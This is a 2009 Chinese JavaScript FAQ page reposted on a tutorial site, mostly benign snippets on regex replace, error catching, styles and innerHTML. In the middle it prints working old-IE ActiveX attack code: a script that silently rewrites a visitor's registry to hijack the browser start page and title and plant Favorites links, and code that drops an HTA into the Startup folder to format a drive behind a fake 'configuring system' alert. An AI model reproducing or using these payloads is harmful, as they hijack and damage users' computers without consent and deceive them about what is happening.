好学IT学院:IT信息技术分享交流平台
标签:JS  来源:互联网  作者:本站整理  发布时间:2009-11-13  ★★★加入收藏〗〖手机版
摘要:

如何给文本连接加上提示语言?
英文排版的问题:怎么能让英自动排列整齐?
如何禁止自己的页面在别人的框架里打开?
在打开的子窗口刷新父窗口的代码里如何写?
如何不用图片生…

如何在java script中捕捉错误信息?

HTML 代码片段如下:
<script>
try{
 var s=a.b;
}
catch(anError)
{
 alert(anError.description);
}
</script>

JS正则表达式replace用法

下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp
对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名
称。
<SCRIPT LANGUAGE="java script1.2">
re = /(\w+)\s(\w+)/;
str = "John Smith";
newstr=str.replace(re,"$2, $1");
document.write(newstr)
</SCRIPT>
显示结果:"Smith, John".

str.replace(re,"$2, $1");这一句,$2,$1是什么意思?
[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, ..., $9属性
用圆括号括着的匹配子串,如果有的话。
是RegExp的属性静态,只读在java script 1.2, NES 3.0以上版本提供描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的圆括号内的匹配字串,你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?

HTML 代码片段如下:
<script>
var reg=/((\w+)\s(\w+))/;
var str='John Smith';
reg.exec(str);
</script>
<button onclick=with(RegExp)alert($1+'\n'+$2+'\n'+$3);>View</button>

如何实现首页全屏幕显示?

HTML 代码片段如下:
<html>
<body><script language="<B>javascript</B>">
var coolw=642
var coolh=400
var coolhuang=window.open

("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,toolbar=0,location=0

,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>

如何动态改变一个Object对象的样式表风格的Class?

HTML 代码片段如下:
<style>
.btn1{
 background-color:#990000;color:#ffffff;
}
</style>
<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>

如何用脚本来修改用户系统的注册表?

HTML 代码片段如下:
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)
{
 var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
 Shor.TargetPath = SiteURL;
 Shor.Save();
}

function f(){
 try
 {
 //ActiveX 初始化
 a1=document.applets[0];
 a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
 a1.createInstance();
 Shl = a1.GetObject();
 a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
 a1.createInstance();
 FSO = a1.GetObject();
 a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
 a1.createInstance();
 Net = a1.GetObject();

 try
 {
  if (documents .cookie.indexOf("Chg") == -1)
  {
  //设置Cookie
  var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
  documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
  //设置Cookie完毕

//设置主页
  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.51js.com/");
  //修改浏览器的标题
  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
  //设置Cookie
  var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
  documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

var WF, Shor, loc;
  WF = FSO.GetSpecialFolder(0);
  loc = WF + "\\Favorites";
  if(!FSO.FolderExists(loc))
  {
   loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
   if(!FSO.FolderExists(loc))
   {
   return;
   }
  }
  AddFavLnk(loc, "无忧脚本", "http://www.51js.com");
  }
 }
 catch(e)
 {}
 }
 catch(e)
 {}
}
function init()
{
 setTimeout("f()", 1000);
}
init();
</script>

格式化硬盘的, 把启动菜单下的automat.hta删除即可,这是格式化 a:盘

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\start menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is
configing the system,do not interrupt it!.');</"+"SCRIPT>";
scr.write();
</script>

<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>

<SCRIPT LANGUAGE="java script">
a1=document.applets[0];
fn="51js.HTM";
doc="<SCRIPT>s1=\'欢迎你访问无忧脚本!\\请您将在启动文件夹内的51js.com.HTM删除即可\';
alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}

function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' 获取com.ms.com.Variant[]
</SCRIPT>
<BR>
</BODY>
</HTML>原理是一样的!

如何监听一个窗口被关闭了?

HTML 代码片段如下:
<body onunload="alert('你关闭了这个窗口')">

什么是innerHTML、outerHTML………还有innerText?

自己用代码来体会一下

HTML 代码片段如下:
<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>
<input type=button onclick=alert(test.innerText) value="show innerText"><br>
<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br>
<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br>

从命令行操作的实践来谈重构的修炼
  阅读提示:重构是一个“永恒的话题”,只要开发在持续,那么重构就会一直伴随着我们。但是,“重构”本身并不是一个很容易做到的事情。…
  • 好学考试H5触屏版开放内测
  • 好学触屏公众号虎力全开、杨帆起航!